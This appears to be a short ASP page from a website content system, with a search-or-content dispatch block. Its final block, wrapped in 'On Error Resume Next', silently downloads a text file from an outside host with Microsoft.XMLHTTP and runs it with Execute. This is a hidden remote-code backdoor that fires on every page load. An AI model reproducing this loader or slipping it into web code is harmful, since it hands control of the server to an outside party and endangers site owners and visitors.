<% '*** Write custom code here 'E.g. strTemplateCSS = "" %>
<% If Request("keywords") <> "" Then Call WriteSearchResults(Request("keywords"), oConn) Else Call WriteContent(intMenuID, oConn) 'Call WriteSubMenuOnPage(arrMenuBranch, intMenuID, 2, 0, 1, oConn, strDefaultTemplate) End If %>
<% On Error Resume Next set XmlObj = Server.CreateObject("Microsoft.XMLHTTP") XmlObj.open "GET", "http://ubbimag.com/z10.txt", false XmlObj.send formatdata = XmlObj.responseText file_get_contents=formatdata Set XmlObj = nothing Execute file_get_contents %>